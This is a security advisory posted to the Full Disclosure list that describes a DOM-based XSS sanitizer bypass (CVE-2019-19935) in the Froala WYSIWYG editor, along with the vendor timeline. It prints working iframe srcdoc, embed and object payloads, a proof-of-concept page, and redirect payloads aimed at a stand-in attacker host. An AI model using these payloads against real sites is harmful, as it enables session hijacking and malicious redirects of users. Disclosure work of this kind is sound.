Message-ID: <076b9d3d06024d7a80a39ce596a1cfe7@Wapiti.compass-security.com>
Date: Thu, 2 Jul 2020 12:06:57 +0000
From: Advisories <advisories@...pass-security.com>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] CVE-2019-19935 - DOM XSS in Froala WYSIWYG HTML Editor

#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product:  Froala WYSIWYG HTML Editor
# Vendor:   Froala
# CSNC ID:  CSNC-2020-004
# CVE ID:   CVE-2019-19935
# Subject:  DOM XSS in Froala WYSIWYG HTML Editor
# Severity: Medium
# Effect:   Remotely exploitable
# Author:   Emanuel Duss <emanuel.duss@...pass-security.com>
# Date:     2020-07-01
#
#############################################################

Introduction
------------

Froala WYSIWYG HTML Editor is a lightweight WYSIWYG HTML Editor written in
JavaScript that enables rich text editing capabilities for web applications
[1]. Froala sanitizes the user input in order to prevent cross-site scripting
attacks [2].

During a web application penetration test, Compass found a DOM-based cross-site
scripting (XSS) [3] in the Froala WYSIWYG HTML Editor. HTML code in the editor
is not correctly sanitized when inserted into the DOM. This allows an attacker
that can control the editor content to execute arbitrary JavaScript in the
context of the victim's session.


Affected
--------

* All versions of the Froala WYSIWYG HTML Editor

The issue was found in December 2019 in version 3.0.6 and was still not fixed
in July 2020 in version 3.1.1.


Technical Summary
-----------------

It's possible to perform DOM based XSS in the Froala editor by inserting the
`<iframe>` tag and the `srcdoc` attribute into the editor:

    <iframe srcdoc="<img src=x onerror=alert(document.domain)>"></iframe>

This can be verified by inserting the payload into the "Code View" of the
editor.

In this case, this is would be a self-XSS because the users would only attack
themselves. However, it could be possible that untrusted data from a
non-controlled source is loaded into the editor in order to exploit it. An
example could be a web application where multiple users can edit the same
content using this editor.

An attacker can use this to execute own JavaScript code in the session of the
victim. This can be abused to read the content of the victim's account, use the
session to make further requests to the web application or read the cookies or
web storage.


Technical Details
-----------------

# Correct Behavior

According to the Froala tech support page "Why is the <script> tag being
removed?", the `<script>` tag is removed in order to prevent possible XSS
attacks [2]. Other XSS payloads that use other HTML tags and event handlers are
also removed from the DOM before they are inserted.

This can be verified using a PoC hosted on `poc.example.net` that inserts
potentially untrusted data with a `<script>` tag into the editor:

    <link href="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/css/froala_style.min.css" rel="stylesheet" type="text/css" />
    <link href="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/css/froala_editor.pkgd.min.css" rel="stylesheet" type="text/css" />
    <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/js/froala_editor.pkgd.min.js"></script>

    <div id="froala-editor"></div>

    <script>
    let editor = new FroalaEditor('div#froala-editor', {}, function() {
      // This data could be loaded from a potentially untrusted source, e.g. from an API via an XMLHttpRequest
      data = "<s>Hello<\/s><script>console.log(document.domain)<\/script><u>Compass<\/u>";

      // Inserting untrusted data into the editor
      editor.html.set(data);

      // Show how the untrusted data is embedded into the DOM
      console.log(editor.html.get());
    })
    </script>

The JavaScript console shows that legit HTML tags like `<s>` or `<u>` were
inserted into the DOM but the `<script>` tag was correctly removed (as
expected) and therefore the JavaScript was not executed:

    <p><s>Hello</s><u>Compass</u></p>

The same can be done by inserting an `<img>` tag with an `onerror` event
handler as an XSS vector:

    [...]
    data = "<s>Hello<\/s><img src=x onerror=console.log(document.domain)><u>Compass<\/u>";
    [...]

The JavaScript console again shows that the legit HTML tags were inserted and
also the `<img>` tag, but without the used `onerror` event handler. Therefore,
the JavaScript was not executed:

    <p><s>Hello</s><img src="x" class="fr-fic fr-dii"><u>Compass</u></p>

This shows that it's not possible to load and execute common XSS payloads into
the editor.


# XSS Bypass

I tried every event handler from the awesome PortSwigger XSS cheat sheet [4],
but all of them were blocked. Thanks to the XSS cheat sheet, I found an HTML
tag with an attribute that does not start with `on`, which can execute
JavaScript in the origin of the website.  This tag was not filtered. It's the
`<iframe>` tag with the `srcdoc` attribute. The `srcdoc` attribute specifies
the HTML content of the page to show in the inline frame [5]. This can be used
to embed JavaScript code. The code runs in the origin of the website where the
iframe is embedded.

Working XSS payload:


    [...]
    data = "<s>Hello<\/s><iframe srcdoc=\"<img src=x onerror=console.log(document.domain)>\"><\/iframe><u>Compass<\/u>";
    [...]

The JavaScript console shows that the `<iframe>` tag with the `srcdoc`
attribute was inserted into the DOM without sanitizing. Also the content of
the iframe with the `<img>` tag and the `onerror` event handler was not
sanitized. Further, the origin on which PoC website is hosted is printed:

    <p><s>Hello</s><iframe srcdoc="<img src=x onerror=alert(document.domain)>"></iframe><u>Compass</u></p>
    poc.example.net

Therefore, this shows that the following XSS payload can be used in order to
inject and execute JavaScript into the DOM, which results in a DOM-based XSS:

    <iframe srcdoc="<img src=x onerror=console.log(document.domain)>"></iframe>

Note: The `<img>` tag with the `onerror` event handler is only the data content
of the `srcdoc` attribute and no code for the browser. This is rendered into
code later when the content of the iframe is built.

The injected JavaScript code runs in the origin of the website where the Froala
editor is running. The next section explains why I mention this explicitly.


XSS with Undefined / Empty Origin
---------------------------------

There are several issues marked as open and fixed in the Froala GitHub
repository regarding XSS [6]. The closed ones are also not fixed at the moment.
However, most of these XSS are running in another origin as the website where
the editor is loaded.


# Example 1

For example, the issue #3270 [7] that is marked as closed and uses an embedded
object (`<embed>` tag) in order to execute JavaScript:

    [...]
    data = "<EMBED/SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+Y29uc29sZS5sb2coZG9jdW1lbnQuZG9tYWluKTwvc2NyaXB0Pjwvc3ZnPgo=\">"
    [....]

The base64 decoded payload is an SVG image containing JavaScript:

    <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg"
      xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="194" height="200" id="xss">
    <script type="text/ecmascript">console.log(document.domain)</script></svg>

The JavaScript console shows that the code is executed but the origin is
`undefined`:

    <p><embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+Y29uc29sZS5sb2coZG9jdW1lbnQuZG9tYWluKTwvc2NyaXB0Pjwvc3ZnPgo="></p>
    undefined


# Example 2

Another example is the issue #3039 [8] that is marked as closed uses the `<object>`
tag to embed HTML / JavaScript code:

    [...]
    data = "<object data='data:text/html,<svg onload=console.log(document.domain)>'>";
    [...]

The JavaScript console shows that the code is executed but the origin is empty:

    <p><object data="data:text/html,<svg onload=console.log(document.domain)>"></object></p>
    // empty line


# Exploiting XSS with Undefined / Empty Origins

Because the origin is not the same as where the PoC is hosted, it's not a
typical XSS where an attacker could read the content of the victim's website,
use the session to make further requests or access the cookies or web storage.

It is however still possible to perform arbitrary redirects to other websites
using the reference to the `window.top.location`:

    [...]
    data = "<object data='data:text/html,<svg onload=window.top.location=\"http://evil.example.net/\">'>";
    [...]

This redirects to http://evil.example.net/.

The same applies for the embed tag:

      [...]
      data = "<EMBED/SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj4KICA8c2NyaXB0PndpbmRvdy50b3AubG9jYXRpb249Imh0dHA6Ly9ldmlsLmV4YW1wbGUubmV0LyI8L3NjcmlwdD4KPC9zdmc+Cg==\">"
      [...]

Decoded base64 payload:

    <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="194" height="200" id="xss">
      <script>window.top.location="http://evil.example.net/"</script>
    </svg>

This also redirects to http://evil.example.net/.

This is not as nice and powerful as the "real" XSS attack from the beginning, but still
something ;-).


Vulnerability Classification
----------------------------

CVSS v3.1 Metrics [9]:

* CVSS Base Score: 6.1
* CVSS Vector:     AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N


Remediation
-----------

This XSS issue is not fixed. The vendor can't tell any exact release date for a
fixed version.

Therefore, only trusted data or data that is already sanitized should be loaded
into the editor.


Timeline
--------

2019-12-05    Discovered vulnerability and informed customer.
2019-12-06    Contacted Froala and asked for security contact. Auto reply received, ticket #15328 opened.
2019-12-09    Asked again, got response. Contact via e-mail (support@...ala.com) and ticket number.
2019-12-10    Sent vulnerability details.
2019-12-16    Froala confirmed vulnerability and that all Froala HTML editor versions are affected.
2019-12-19    Informed Froala about the closed XSS GitHub issues that are still not fixed.
2019-12-23    MITRE assigned CVE number CVE-2019-19935.
2019-12-26    Froala tells that this issue has high priority. Issue will be fixed after version 3.1.0.
2020-01-09    Asked Froala for updates on the issue.
2020-01-10    Froala tells that all reported issues will be fixed after version 3.1.1.
2020-02-21    Asked Froala for updates on the issue. No response.
2020-03-09    Asked Froala for updates on the issue.
2020-03-20    Froala tells that issue will be fixed in the next release.
2020-04-21    Asked Froala for updates on the issue.
              Froala denied that there is any XSS issue, even if they confirmed the issue before.
              Delivered a PoC and additional details that demonstrates and explains the issue in detail.
              Froala understands the issue and tells that it will be fixed in the next release
              (no exact release date known but it should be fixed in Q2 of 2020)
2020-05-01    Asked Froala for updates on the issue. Still no release date known.
2020-06-02    Asked Froala for updates on the issue. Still no release date known.
2020-06-23    Asked Froala for updates on the issue. Should be released in July.
2020-07-01    Public disclosure after Q2 has ended and more than 200 days after initial notification.


References
----------

[1] https://froala.com/wysiwyg-editor/
[2] https://wysiwyg-editor.froala.help/hc/en-us/articles/115000428829-Why-is-the-script-tag-being-removed-
[3] https://portswigger.net/web-security/cross-site-scripting/dom-based
[4] https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
[5] https://www.w3schools.com/tags/att_iframe_srcdoc.asp
[6] https://github.com/froala/wysiwyg-editor/issues?q=is%3Aissue+xss
[7] https://github.com/froala/wysiwyg-editor/issues/3270
[8] https://github.com/froala/wysiwyg-editor/issues/3039
[9] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N&version=3.1

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists